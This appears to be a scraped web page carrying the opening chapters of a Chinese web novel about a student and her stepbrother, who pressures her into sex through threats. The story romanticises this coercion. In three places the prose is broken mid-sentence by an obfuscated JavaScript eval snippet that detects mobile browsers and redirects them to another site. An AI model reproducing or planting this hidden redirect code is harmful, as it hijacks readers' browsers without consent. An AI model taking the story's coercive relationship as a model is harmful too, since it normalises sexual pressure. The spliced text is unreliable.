《恶劣因子》 1. 001 五月初,立夏日。 京市气温陡然飙升至三十多度,滚滚热浪像极了冒冒失失的青春期少年,横冲直撞,令人无处避让。 传媒大学933女生寝室,空调嗡嗡送来凉风,项茴坐在椅子上盯着手机屏幕,时不时刷新教务系统。 上周学校刚进行完期中考试,今天是出成绩的日子。 室友庄澄举起三支铅笔原地作法,嘴里念念有词:“天灵灵地灵灵,太上老君快显灵,这次考试一定行。” “诸神保佑,智慧大开,超常发挥,一定及格。” …… 楚安意正对着镜子贴假睫毛,闻言扑哧笑起来,“太上老君炼丹呢,哪有时间管你的事儿。” “你又知道了?你是太上老君家亲戚?” “笨蛋,我只是想提醒你,应该拜文昌帝君。” 庄澄嘴硬:“求神拜佛讲究雨露均沾,你懂什么。” 宿舍几人来自天南地北性格又大相径庭,同寝半年多摩擦不少,类似的互呛场景每天都有,项茴见怪不怪。 眼看争吵有升级的趋势,她从书桌上抓起两颗巧克力递过去,“你们吃糖吗?” 项茴性格温婉,大多时候都和和气气的,宿舍其他人每次都因为一些鸡毛蒜皮的小事闹矛盾,有她出面缓和气氛,大家也不想闹得太难看。 “那我就不客气咯。”庄澄剥开巧克力铝箔纸,没再和楚安意争执。 “我减肥,不吃。” 楚安意对着镜子照了几分钟,拎起桌上那只黑色香奈儿包包,背在肩上说了句拜拜就出门了。 人一走,庄澄就小声蛐蛐起来:“打扮得花枝招展,你说她干嘛去?” “约会吧。” 933寝室四个姑娘,蒋之晴有男朋友经常见不着人,楚安意最近和导演系的系草打得火热,只有庄澄和项茴,两耳不闻恋爱事,一心只读圣贤书。 因为她两是学渣。 学渣光应付各种考试就筋疲力尽了,哪里有力气搞男人呢。 “早知道这破专业费脑子我就不报了。”庄澄嚼着巧克力,怨气比鬼都大:“大学才上半年我就开始掉头发,等到毕业,恐怕能直接当尼姑。” 项茴睫毛低垂,嘴角漾起浅浅的弧度,“那正好解决就业了。” 庄澄被冷不丁的幽默逗笑,盯着项茴看了好几眼,眸中闪过一丝艳羡。 传媒大学美女如云,环肥燕瘦各擅其美,但依庄澄看来,最好看的还是眼前这个。 项茴今天穿一件白色修身T恤,搭配鹅黄长裙,微卷长发柔顺地束在耳后,用一颗樱桃发夹固定。明明是很随意的装扮,也没化妆,无奈五官太出挑,就是漂亮得令人移不开眼。 新生报道那会,不知是谁拍了一张项茴的照片发在学校论坛,当时帖子热度很高,不少男生都打听项茴的联系方式,但不知为什么,那篇帖子没多久就被删了。 再加上项茴为人低调,入学后教室宿舍食堂三点一线,渐渐的大家没再关注她。 庄澄与她朝夕相处快一年了,这张脸天天看都不腻,偶尔还会感叹天赐神颜。 “茴茴,你学数字媒体技术可惜了。” 项茴还在刷新教务系统,心不在焉回复:“怎么说?” 庄澄搂住她,“你该去学表演,以后当明星肯定能吸不少颜粉,而不是在这里研究计算导论与程序设计……” 话音刚落,项茴手机屏幕一闪,蹦出表格画面。她心口一抖,提醒说:“出成绩了。” “靠——” 接下来两人安静如鸡,各自查看成绩。 大一专业课只有两门,项茴的分数不高不低,都及格了,她目光下移,看见高数那栏两眼一黑。 38分—— 怎会如此? 试卷她都写满了,不该这点分啊,老师是不是改错了? 数学是一门神奇的学科,有的人能轻而易举拿满分,有的人连及格都难,项茴就属于后者。 高中的时候她就学不好数学,成绩常年在60分徘徊,项茴第一次高考没上一本线就是被数学拖累了,后来转学到京市,被某人辅导一年,成绩突飞猛进,吊车尾考入传媒大学。 “完蛋,我高数没及格。”庄澄欲哭无泪,“学姐们说的没错,王老师果然铁面无私不放一点水,怪不得高数每年挂科率高达40%,要是期末再不及格怎么办啊。” 传媒大学学风严谨,挂科从来没有补考,只能重修。 项茴回忆了下高数的评分标准,平时成绩占20%,期中期末各占40%,心顿时凉了半截。 - 晚上没有课,四点半,郑叔叔说他到校门口了。 项茴虽然住校,但只有中午在宿舍休息,晚上都回家住。 一方面是因为她睡眠浅,蒋之晴习惯和男友煲电话粥到凌晨,虽然沟通过但效果甚微,寝室关系还弄得越来越紧张。 另一方面,某人一天见不到她就发疯,项茴不敢惹。 传媒大学距离御河公馆不远不近,半小时后,车停在迟家门口。 这是一栋占地面积颇大的别墅,主楼通体白色屋顶绛红,左右两侧各一幢副楼。项茴下车,脚踩在砖红色步道上,项曦的身影便从门口扑过来。 “姐,学校明天有汉服活动,你来帮我挑一挑造型。” “嗯。” 项茴摸摸她的头,姐妹两边说边进门。 项曦的房间在二楼东侧,十二岁的小姑娘爱美,手拿汉服对着镜子一通比划,纠结选明制还是宋制。 见她叽叽喳喳兴奋得像只喜鹊,项茴只觉得这两年发生的一切像场梦。 项茴在南方小城昆河长大,十三岁那年父母离异,妈妈瞿莉北上追逐音乐梦,她和项曦被扔给父亲项成涛。 项成涛做小本生意,父女三人日子不好不坏,后来他再婚,项茴和项曦成了烫手山芋,兜兜转转才被瞿莉接走。 彼时项茴十八岁,高考失利,项曦小学没毕业。而瞿莉经过打拼在京市不仅站稳脚跟,还交了一个很厉害的男朋友。 这个男人姓迟,据说家世不凡,富比王侯。 瞿莉和迟叔叔进展很快,感情稳定下来后两人决定同居,项茴项曦就跟随母亲住进了御河公馆。 迟叔叔寡言少语,同住快两年了,他与项茴项曦接触不多,但物质上从不亏待,保姆司机也各尽其职,没给寄人篱下的姐妹两脸色看。 总之,迟家什么都好,除了她名义上的哥哥——迟颂。 …… “姐,你觉得哪套好看?” 突如其来的问话打断了项茴的思绪,她回神,仔细对比一番,说:“左边那套吧。” 从项曦房间出来,正巧碰上莲姨。 莲姨上楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585909|205258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给她送水果,顺道说了句:“迟总和迟少爷下飞机了,我临时让私厨加了几个菜,等他们到家再开饭。” 闻言,项茴心口重重一跳,下意识抓紧裙摆,“不是说下周六才回京吗?” “谁知道,可能港城那边的事提前办完了吧。” 迟家政商通吃,生意做的很大,上个月港城有个项目出了些状况,迟启文决定亲自出面解决。 迟颂今年二十岁,在京大上大三,正是需要历练的年纪,作为迟启文唯一的儿子,公司未来的继承人,他自然也要一起去。 临走前,迟颂可着劲欺负项茴,直到天明未明,他才恋恋不舍舔去项茴眼角的泪,说五月十三号回。 项茴计算着日子,本以为还能清净一星期,谁知道迟颂竟然提前回来了。 她心口七上八下,沉默片刻,说:“那我打电话给妈妈,让她早点回家吃饭。” “不用麻烦。”莲姨说:“迟总路过剧场顺道接她回来,我们等着就行了。” “嗯。” 莲姨把果盘递给她,“回屋休息吧,我得去做事了,餐厅还缺一束花。” “我去买。”项茴笑笑:“反正闲着也是闲着。” 莲姨不再客气,“也好,那就麻烦你了。我还得去厨房盯着,那个新来的私厨做事还不熟练。” 项茴换好鞋子,出了门,就见一辆黑色欧陆停在家门口。后座车门打开,一道高大的身影出现在眼前。 天边飘着鱼鳞般的片状晚霞,夏日余温尚未消退。 迟颂穿一件白衬衫和灰西裤,简约的打扮却衬得腰是腰,腿是腿,身形利落修长,恰到好处的完美。 他的气质介于少年感和成熟男人之间,散漫却也沉稳,眼神凌厉,下车瞬间就精准地捕捉到项茴。 项茴垂眼避开他的视线,没话找话:“迟叔叔呢?” “他去剧场接瞿阿姨,我先回。”迟颂一步步靠近,锁住她的目光又暗了几分,“你去哪儿?” 项茴抿唇,“我出去买束花。” 迟颂攥住她的手腕,轻轻捏了捏,“明天再去。” 这人简直胆大包天,司机还在后面呢。 项茴吓得差点魂飞魄散,慌忙瞥一眼四周,见司机正低头开后备箱拿行李才放心几分。 “餐桌上没花不好看,哥哥,你累一天了,快进去休息吧。”说完,她便用力挣脱了迟颂的禁锢。 掌心的柔软消失,迟颂皱了皱眉心,最终没说什么,只道:“快去快回。” 御河公馆附近有家花店,走路过去十多分钟。 项茴到的时候店里客人很多,她挑挑选选,看中一束淡紫色郁金香。 正排队结账,手机屏幕亮起,是迟颂发来消息:【还不回?】 项茴反问:【迟叔叔和我妈到家了吗?】 迟颂:【没。】 项茴:【那你催什么。】 迟颂:【我想见你。】 “……” 他是不是有分离焦虑症?刚刚在家门口不是已经见过了吗? 花店熙熙攘攘,项茴跟在结账队伍后面缓缓移动,没过几秒,迟颂的消息又来了。 他道:【故意躲我?】 项茴哪里敢惹他,想也没想就否认:【没有。】 迟颂霸道的很:【六点二十我要看到你,迟到一分钟,今晚多做半小时。】 2. 002 项茴承认,自己确实有躲的意图。 从莲姨那儿得知迟颂提前回京,她在家里就呆不住了。反正今晚迟颂不会放过她,能拖多久算多久好了,逃避虽可耻但有用。 看清迟颂的消息,项茴脸颊滚烫,呼吸停滞了几秒,才匆匆摁灭手机屏幕。 他这人就是这样,无论什么场合,都能用最平静的语气说出最不要脸的话,毫无羞耻之心。 项茴清楚,迟颂那句威胁不是说着玩玩,他在那事上向来不知节制,要是把人惹恼了,今晚受罪的还是她。 这下,项茴不敢再磨蹭了。 好在收银台结账速度快起来,项茴前面没几个人了,没一会她抱着郁金香走出花店,步履匆匆往家里赶。 夕阳慢慢下沉,天边染上蓝紫色调。 项茴一口气跑到家门口,正好瞧见迟启文和瞿莉从一辆银灰迈巴赫上下来。 迟启文一身黑色正装,下车后还戴着耳机通电话,可见工作繁忙。瞿莉接过司机递来的公文包,两人并肩往家里走,郎才女貌,看上去俨然是一对恩爱夫妻。 项茴庆幸自己回来的及时,不然等会开饭,总不好让长辈们等她。 她看看时间,六点十八分。 幸好,没有迟到。 迟家的装修风格偏中式,家具以深棕色实木材质为主,大面积落地窗设计又增添了几分现代感。 项茴路过吸烟室,见迟启文在里面边抽雪茄,边仰头欣赏墙上的古典装饰画,瞿莉则坐在沙发上沏茶。 她主动叫人,“迟叔叔,妈妈,我回来了。” 迟启文冲她点了点头,继续吞云吐雾。 瞿莉看过来,使唤说:“叫你哥哥和妹妹下来吃饭。” “好。” 项茴把郁金香交给莲姨,上到二楼,让正在写作业的项曦先下去,紧接着转身走向三楼。 三楼只有迟颂一个人住,其余房间都空置,某种程度上来说,这层算是他的专属领地。项茴脚步顿了顿,才鼓起勇气向前。 敲门声响了两下,门被从里面拉开,项茴来不及开口,人就被拖拽进去。 速度之快,仿佛屋里有一头饥肠辘辘的野兽,而项茴是送入虎口,待宰的羔羊。 项茴脑子发懵,没反应过来背已经撞在墙上,清冷的木质香席卷她的呼吸。 那是独属于迟颂的气息。 下一秒,这股气息已经入侵至她的口腔。 项茴睁大眼睛,被迫承受这个猝不及防的吻,牙关被对方撬开,舌尖缠绕唾液交换,仿佛灵魂都要被他掠夺。 二十多天不见,他还是这么疯。 项茴下意识挣扎,又怕自己的反抗让这人变本加厉,只得顺着他。 等迟颂亲够了,项茴才偏过头,喘着气道:“下楼吃饭。” 迟颂手指摩梭她刚被蹂躏过的唇瓣,眼神幽暗,明显意犹未尽。他低头还想再来,这次被项茴偏头躲开了。 项茴也是没办法了,全家都在餐厅,就她和迟颂不在,用脚想也知道不对劲。 她软了语气,“大家都在等我们,吃完饭……再说。” 迟颂:“吃完饭就给亲?” “……” 项茴一双美目瞪过去,“我不给亲你就不亲?” 迟颂勾唇:“你觉得可能吗?” so? 那还征求她的意见干什么? 神经病。 - 迟家人自律,奉行早吃好晚吃少的原则,晚餐一般就是寻常菜式,但因为今天迟启文和迟颂出差归来,所以晚餐格外丰盛。 项茴下楼的时候,莲姨正张罗开饭,冷盘热菜一并上桌,菜品比高级酒店还精致。 餐桌是长方形,位置固定,迟启文坐主位,迟颂和项茴坐左侧,瞿莉和项曦坐右侧。项茴刚坐下,迟颂就到了。 他洗过澡,换了件白T恤和灰色运动裤,因为位置挨得近,一落座,清冷的沐浴露香气就往项茴呼吸里钻。 项茴忽然想起那个吻,抿了抿唇,低头专心出吃饭。 一家五口都不是话多的人,餐桌上,只有迟启文和瞿莉聊工作。 迟启文:“演唱会筹备的怎么样?我听小张说今年的策划案磨了很久,舞台设计和编曲还没定?” 瞿莉有一副好嗓子,她年轻时没系统学过唱歌,却凭借天赋在昆河一支业余合唱团当伴唱,来到京市后主攻女高音,频繁出没各大剧场,如今小有名气,是京市歌剧院的一级演员。 “毕竟是第一场个人演唱会,我想尽善尽美。”瞿莉笑笑,“这几年剧院审批比较严格,我们前期多做点工作,有备无患嘛。” 迟启文沉吟片刻,“明天我和刘局说一声,省得他后面找你麻烦。” “有你在,我能有什么麻烦。” 瞿莉接过汤匙,往迟启文碗里盛了一勺薏米老鸭汤,闲聊似的问起:“不是说下周才回么,我排练没看手机,就没去机场接你。” 迟启文看向儿子:“有阿颂帮我,项目进展得很顺利。原本合作商还安排了答谢宴和实地考察,但阿颂兴致不高说想提前回,我就跟他一起回来了。” 瞿莉打趣说:“阿颂是不是谈女朋友了,所以才着急回来约会?” 迟颂二十了,有迟家这样的背景,他不用做什么就有数不清的女孩贴上来,更遑论他还长了一张过分好看的脸,以及一颗聪明的脑袋。 简直满足所有女生对理想男友的期待。 但迟颂的感情生活一片空白,从小到大,面对女孩的示好他装看不见,也没对任何异性表露过好感,仿佛天生没有情丝。 既然瞿莉挑起话题,迟启文也追问:“阿颂,谈没谈?” 项茴也想知道,放缓进食速度默默听着。 如果迟颂有稳定交往的女朋友,大概就不会再缠着她不放了。 然而,迟颂只是淡淡应了句:“没谈。” “那你着急回来是?” 迟颂:“下周言斯昱过生日,我答应过他会出席。” 迟颂和言斯昱一块长大,两人都在京大上大三,同校不同系,家里又是世交,关系一直不错。 “斯昱过生日你确实该去,顺便问候一下你言爷爷,他最近身体不好。” 迟颂点头,说知道了。 项茴垂眼,咬着一块红烧排骨,心说白高兴了,她真以为迟颂提前回来是见女朋友的,结果是为了给发小过生日。 她正胡思乱想,迟启文的手机响了,似乎是助理打来的,他起身去书房接听。 下一秒,瞿莉就把话题转移到她身上,“茴茴,我听李老师说,你们专业的期中考试成绩出来了?” 李老师在传媒大学教务处工作,和瞿莉认识,所以项茴在学校有什么事,瞿莉都能知道。 项茴没出声,脑袋埋得很低,握筷子的力道紧了几分。 学渣也是要面子的,她没勇气说自己高数考了38分。 “李老师说你高数没及格。”瞿莉摇摇头,语气无奈:“你这孩子怎么回事,从小就不会学数学,脑袋跟榆木似的不开窍,都上大学了还要我操心。” 迟颂忽然开口:“她会学,只是方法不对。” “阿颂,那你给妹妹传授点经验,我记得你数学不是总考满分嘛。” “我可以帮她补高数,反正最近学校没什么事。” 他语气温和,仿佛只是在说一件微不足道的小事,然而这句话却令项茴一瞬间僵住了。 她急忙开口,“不用麻烦了,哥哥这么忙,不要因为我浪费时间。” 迟颂目光落在她身上,平静而克制:“帮妹妹补课,不算浪费时间。” “茴茴,你哥哥是好心。”瞿莉自然帮着迟颂说话,“反正阿颂也不是第一次帮你补课了,还不谢谢他。” 对上瞿莉的眼神,项茴只得道:“谢谢哥哥。” 传媒大学是正经985,项茴能考上这所大学,确实有迟颂的功劳。 两年前项茴刚到京市,听从瞿莉安排,在全市排名第一的高中复读。 这所高中遍地尖子生,大部分老师侧重拔高,简单的知识点一两句话带过。项茴第一次高考才四百多分,这种教学方式下,压力可想而知。 第一次月考项茴考得很差,餐桌上,瞿莉恨铁不成钢地说,复读再考不上就不管她了。 一直沉默地迟颂忽然开口,“她需要一个辅导老师。” 瞿莉压下火气,“有道理,明天我去补课机构问问。” 迟颂:“我给她补。” 那时候,项茴母女三人住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585910|205258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进迟家才两个多月,不光项茴项曦处处谨小慎微,瞿莉也不知道怎么和迟颂这个继子相处。 而迟颂主动提出帮忙补课,无异于释放友好的信号。瞿莉和迟启文都觉得,趁这个机会让一家人熟悉熟悉也好。 于是,迟颂帮项茴补课的事就这么定下来。 迟颂的成绩不用说,从小到大没考过第二,教项茴这种学渣绰绰有余。 项茴本以为他是想捉弄自己,或者趁机看她的笑话。毕竟从住进迟家的第一天起,这个名义上的继兄一直冷冰冰,从没给过她好脸色。 谁知,迟颂是认真的。 他补课的方式简单粗暴,每套试卷务必拿分的题目圈出来,依次过知识点,刷题训练,扩展提升—— 有了迟颂的帮助,项茴成绩稳步提升,第二次高考成绩突破六百分。 项茴永远记得收到传媒大学录取通知书的那天,她敲开迟颂房门,兴高采烈地说想送他一份谢礼。 当时,迟颂的表情耐人寻味。 少年紧盯着她,那双冷漠的眸子仿佛跃动起火焰。 他懒懒开口:“你确定?” “嗯,哥哥,你想要什么礼物?” 迟颂只答了一个字:你。 - 用完晚餐,迟启文和瞿莉要出门看电影。他们两还在热恋期,只要不工作大多时间都呆在一块儿。 项茴回到房间先洗了澡,吹干头发抓起手机,才看到迟颂的消息:【来我房间,补课。】 这下好了,有了补课的由头,更方便他为所欲为。 项茴心里一百个不愿意,迟疑着回复:【太晚了,明天。】 迟颂:【那我去你房间。】 项茴哪里敢让他来。 项曦的房间就在对面,别墅的隔音效果虽好,但项茴不确定如果自己这边动静太大,项曦会不会听到。 她只得妥协:【别来,我去你房间。】 迟颂:【嗯,等你。】 项茴换了套纯棉居家服,做戏做全套,她还带上高数课本和笔袋。 她埋头走到三楼,刚右转,额头猝不及防撞上一堵结实的肉墙。 是迟颂在走廊等她。 这人是鬼吗?走路没声音的。 “你——” 项茴的埋怨没来及说出口,因为迟颂先一步吻了上来。 迟颂很急,边吻边把人往房间带。高数课本和笔袋落在走廊地毯上,发出“咚”的闷响,但没人理会。 进屋后他摔上房门,冰凉的手指往项茴衣服里面钻,贪婪地汲取她的气息。 分开二十多天,迟颂想她想的紧。 白天想,夜里也想,简直快疯了。 如今终于归家,今晚怎么可能轻易放过她。 迟颂边吻边寻到间隙,贴着她的耳朵问:“宝宝,想我吗?” 每次与迟颂亲密接触,项茴都不喜欢出声,一来担心被楼下听到,二来她自己觉得羞耻,但迟颂就是有办法让她憋不住。 今天也一样,项茴本不想答,但迟颂手段多,她根本招架不住,最后咬牙应了句:“不想。” “你不乖,说谎是要被——” 项茴喘息渐重,整个人抖得厉害。 混乱中迟颂步步紧逼,再欺身而上,手掌控住项茴的后脑勺,耳鬓厮磨片刻,唇落在项茴柔软的脖颈上啃咬。 “嘶——”项茴被刺激得红了眼,骂道:“混蛋。” 迟颂很是享受她的娇语嗔怒:“嗯,混蛋想你。” 知道他不正常,在这种事上只会越骂越兴奋,项茴放软语气,“别咬,脖颈上的痕迹不好遮。” 现在天热了,不方便穿高领衣服,要是明天被人看见她脖颈上的东西,项茴以后都没脸去学校了。 迟颂还算体贴,唇停了片刻,说:“那咬别的地方。” 外头起了风,院子里的蔷薇在风中簌簌颤动,黑夜浓稠如墨,无穷无尽。 良久,项茴趴在床上,浑身酸软没有一丝力气。没休息一会,迟颂胳膊从后面攀上来,什么意思很明显。 他真是没完没了。 “我明天有课。”项茴哑着嗓子说。 迟颂轻吻她的鼻尖,嗓音低沉而缱绻:“你明天的课在下午,我们可以做到很晚。” 3. 003 中午,三楼一片静悄悄。闹钟第四次响起,项茴眉梢微动,睁眼醒了过来。 窗帘遮挡得严严实实,外头一丝光也透不进来。项茴揉揉眼睛,好一会才适应昏寐的视线。 湿哒哒的床单已经换下,散落的衣服也收拾整齐放在床头,一切再寻常不过,只有空气中还没完全消散的甜腥味道,以及垃圾桶里的计生用品,提醒她和迟颂厮混了一夜。 这次分开的时间有点长,迟颂大概忍得辛苦,昨晚有些不知轻重。 项茴腰酸腿疼,但也知道不能继续在迟颂房间呆下去了。 她下床穿好衣服,洗漱时对着镜子再三确认脖颈上没留下什么破绽,才下楼吃饭。 “姐,你来的正好,快看看我拍的照片。” 项曦就读的学校今天搞社团日,上午做完活动就放学了,小姑娘刚到家,见到项茴兴致勃勃跑过来。 迟启文和瞿莉都不在,姐妹两坐在沙发上,项曦点开手机相册,项茴抽了张纸巾帮她擦额头上的汗。 “你看这张,同学帮我拍的,像不像古代行走江湖的侠女?” 项茴嗯嗯点头,“好看。” 项曦遗憾:“我手机内存满了,不然还能拍更多。” 项曦的手机是瞿莉用过的,功能都正常,就是内存不大。不过初中生嘛,也不需要用多好的手机,能打电话就行了。 正说着话,木质楼梯上传来脚步声。 项茴抬头看去,对上了迟颂的目光。 起床时没在房间看到迟颂,项茴本以为他出门了,哪知这人会突然冒出来。项茴一看到他,腿心便隐隐作痛。 大三下学期课程不多,迟颂今早没去学校,他穿了套白色运动服,高高瘦瘦,身上有种欲望被填满后的慵懒餍足。 有眼睛的人都能看出来,他心情尚可。 迟颂缓缓走近,“在聊什么?” 项曦热情道:“今天学校有社团活动,我给姐姐看我拍的照片。” 迟颂瞟一眼,“拍的不错。” “嘿嘿,我也这样觉得。” 项茴在心里翻了个白眼。 迟颂这人看似温和,实则清高的很,很多时候他的赞美不一定是赞美,有可能只是出于良好教养给出的敷衍。 总之心思深沉,难以捉摸。 这时,项曦注意到迟颂手上的黑色礼盒,她眨眨眼睛:“哥,那是什么?” 迟颂靠坐在沙发上,抬手把盒子推送至她面前,“出差给你带的礼物。” “给我的?”项曦睁大眼睛,“你出差还给我带礼物了?” “拆开看看。” 盒子分量不轻,体积也大,项曦小心翼翼拆开,哇塞一声。 里面是一套电子产品,最新款的手机,平板,以及一只口袋云台相机,连收音麦克风和补光灯都有,比很多短视频博主的设备还专业。 项曦双眼放光,“哥,你为什么会送我这个?” 迟颂冲项茴扬了扬下巴,“你姐姐说,你喜欢拍vlog。” 项茴记得,上个月自己好像确实提过一嘴。那时候他们刚做完,迟颂抱她去浴室清理身子,问起项曦有没有什么爱好,项茴说妹妹喜欢拍东西。 当时太累没多想,谁知他真记下了,还付诸行动。 项曦高兴疯了,堪堪找回理智,“只有我有礼物吗?” “大家都有。”迟颂说,“你姐姐的礼物我等会给她。” 虽然很喜欢这份礼物,但项茴不发话项曦不敢动,小姑娘看向项茴,“姐姐,我能收吗?” 迟颂轻嗤,“送礼物的人是我,你问她干什么?” 项曦很有原则,“我听姐姐的。” 闻言,迟颂拖长调子,“项茴妹妹,项曦能收下我的礼物吗?” 听出他在打趣自己,项茴瞪一眼,说不知道。 迟颂:“那就是能收。” 话音刚落,莲姨从厨房出来,喊他们吃饭了。 “我让私厨做了辣子鸡和鲜椒嫩牛肉。”莲姨一边忙活一边介绍:“你们三不是喜欢吃辣嘛,八个菜五个都是辣的,今天要多吃几碗饭啊。” 项曦快流口水了,彩虹屁张口就来:“莲姨威武。” 依次落座,项茴望着桌上辣度满满的几道菜,不知怎的,忽然想起初入迟家的场景。 那是两年前的夏末,京市气温居高不下,蝉撕扯着嗓子,连风也是燥热的。 迟启文一早就派了司机来接母女三人,上车前,瞿莉再三叮嘱:“迟家可不是普通人,你们最好有点眼力见,该说什么该做什么不用我教了吧?” 项茴拉紧妹妹,“妈妈,我们知道的。” “知道就好。”瞿莉叹气:“茴茴,小曦,我在京市打拼这么多年很辛苦,好不容易遇上一个好男人,你们也会为我高兴的,对吗?” “当然。” 瞿莉:“放心吧,只要你们听话,就能过好日子。” “还有,迟叔叔有个儿子叫迟颂,以后他就是你们的哥哥了。你们这个哥哥温和有礼,成绩优异,是名副其实的天之骄子,以后要和他好好相处,不要给我惹事。” 项茴重重点头,项曦有样学样,也点了点头。 于是,项茴就这样怀揣着忐忑坐上车,平生第一次进入御河公馆,进入一个与之前人生天差地别的世界。 迟启文在客厅接见了她们,说了几句场面话,态度还算温和。 气氛融洽,迟启文忽然抬头,说:“阿颂,这是项茴,项曦,以后就是一家人了,过来认识一下。” 项茴扭头,才看见木质楼梯上站着个少年。 白色短袖,运动裤,黑色碎发散落在额前,不太能看清表情,但侧脸线条凌厉,透露着疏离感。 才第一面项茴就知道了,这个哥哥不喜欢她们。 果然,少年缓缓从楼梯上下来,他冲项茴点了下头,神色冷淡,没说一句话。 迟启文:“他性格就这样,以后熟悉了就好了。” 吃饭的时候,项茴坐在迟颂旁边,如坐针毡。 餐桌上的菜很丰盛,但没有一道是她喜欢的。 昆河人嗜辣,项茴项曦更是无辣不欢,但迟家人口味清淡,满桌子凑不出半根辣椒,项茴索性只夹距离自己近的两道菜。 接下来一段时间,项茴和迟颂都没什么交集,同住一个屋檐下,能避开就避开。 直到那晚,项茴写完试卷,忽然很想吃辣的东西,于是她叫上项曦,两人去了小区外面的便利店。 麻辣牛肉干,麻辣鸡爪,麻辣豆干…… 姐妹两一口气买了很多,坐在便利店外面的椅子上进食,项曦提起:“姐,你觉不觉得家里的饮食太清淡了,一点味道都没有。” “确实过于清淡了,不过这样的话你只能和我说,家里做什么我们就吃什么,别挑食。” “知道知道。” 话音刚落,一道颀长的影子从便利店晃出来。 是迟颂。 他看了看项茴手里那包满是红油的牛肉干,没说什么,直接走了。 项茴却快吓死了。 毕竟只是个刚满十八岁的姑娘,说好听点她是迟家二小姐,其实谁不知道呢,她和项曦就是瞿莉带来的拖油瓶。 寄人篱下,能吃饱饭,有书读就谢天谢地了,现在居然嫌弃人家的饮食,还被正主听到。 项茴惴惴不安一晚上。 第二天午饭的时候,她偷瞄迟颂好几次,正犹豫怎么解释,迟颂却先开口了。 少年嗓音淡淡,“莲姨,以后做饭不要太清淡。” “为什么,今天的饭菜有问题吗?” 迟颂:“我最近口味变了,喜欢吃辣的。” …… 思绪从回忆里抽离。 项茴偷看一眼迟颂,忽然觉得这人也不是完全没有可取之处。至少大多时候,他对她还算不错,当然,在床上就很坏很坏了。 项茴夹了块辣子鸡,含进嘴里津津有味地品尝。 家里新来的私厨手艺没得挑,据说以前在昆河那边的五星酒店工作,昆河菜做得很地道。 莲姨今天有事,下午请了半天假,她解开围裙,说:“厨房冰着绿豆汤,你们等会记得吃。” “嗯。” 没一会,餐厅只剩兄妹三人。 项曦埋头干饭,小嘴吃的油乎乎。 项茴低头喝汤,忽然一怔。 谁都看不见的地方,迟颂的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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既生气迟颂无时无刻的捉弄,也气自己像个软柿子似的任人拿捏。 她性格太软了,从小就这样。 来京市复读前,项茴呆过的学校教育质量都不高,学生谈恋爱,抽烟,打架为所欲为,班里一半是成天搞事的小混混,另一半是和她一样的窝囊包。 这种环境下好多同学变坏,曾经也有人怂恿项茴别学习了,一起堕落吧。 但项茴仔细想想,她怎么堕落呢? 抽烟喝酒不会,打架更不会,谈恋爱没兴趣。她堕落的方式,大概只有熬夜,大吃大喝和睡觉。 项茴就是这么一个软和的人,连堕落都要选择不给别人添麻烦的方式,挺窝囊的。 但今天她太生气了,咬了咬唇,决定给迟颂点教训。 项茴舀了一勺盐一勺味精放进其中一只碗里,搅拌均匀,才用托盘端着三碗绿豆汤出去。 她一一分好,特地将加了料的那碗递到迟颂面前。 项曦一口气喝干,说:“我上楼睡午觉了。” 话落,咚咚咚跑上楼。 迟颂并未察觉异样,待他快将勺子送到嘴边,项茴忽然又反悔了。 果然,她就不适合干坏事。 项茴夺过他的碗,叹气:“别喝,我往里面加了东西。” 迟颂明白过来,挑眉:“怎么,你给我下春药了?” 春药? 亏他想得出来。 项茴被迟颂的脑回路彻底折服,面上不动声色,心里却疯狂吐槽:你还需要那种东西吗? 没吃药他在床上都骚得要命,如果吃了还得了? 再说,她一个遵纪守法的好公民,去哪里搞那种违禁品啊。 项茴撇撇嘴,“你猜错了,是哑药,老鼠药,蟑螂药,每种都放了一点,剧毒无比,吃下去七窍流血死翘翘……” 她没说完,却瞧见迟颂端起白瓷圆碗,已经仰头喝下去了。 “喂,你——呜——” 迟颂掐住项茴的脸颊欺身而上,转瞬之间,将嘴里的豆绿汤渡到了她的嘴巴里。 好咸。 她就说盐放多了。 味蕾刺激下,项茴直皱眉头。 迟颂渡过来的太多,她吃不下,又挣脱不开他的禁锢被迫大口吞咽,但还是有一丝液体从嘴角溢出来。 迟颂放开她时,嘴角挂着一丝得逞的笑,“那我们一起殉情吧,茴茴,这样你就永远摆脱不了我了。” 4. 004 下午的必修课三点半开始,吃完饭项茴要去学校,迟颂也要去京大,两人坐上同一辆车,司机依旧是郑叔叔。 郑叔叔是整个家里唯一知道项茴和迟颂关系的人,原本项茴担心郑叔叔说出去,迟颂却非常肯定地告诉她绝对不会。 经过项茴的观察,郑叔叔对迟颂确实唯命是从,忠心程度甚至超过了迟启文。正因如此,每次郑叔叔接送他们上下学,迟颂在车上从不收敛。 车速不急不缓,空调温度适宜,午饭吃多了,项茴有点晕碳。 正昏昏欲睡,旁边忽然递过来一只蓝色丝绒盒子,迟颂说:“送你。” 项茴打开盒子,里面是一套珍珠首饰,包含手链,耳环和项链,珍珠光泽莹润洁白,形状浑圆颗粒硕大,一看就不便宜。 仔细看,珍珠上还刻了英文缩写:cs。 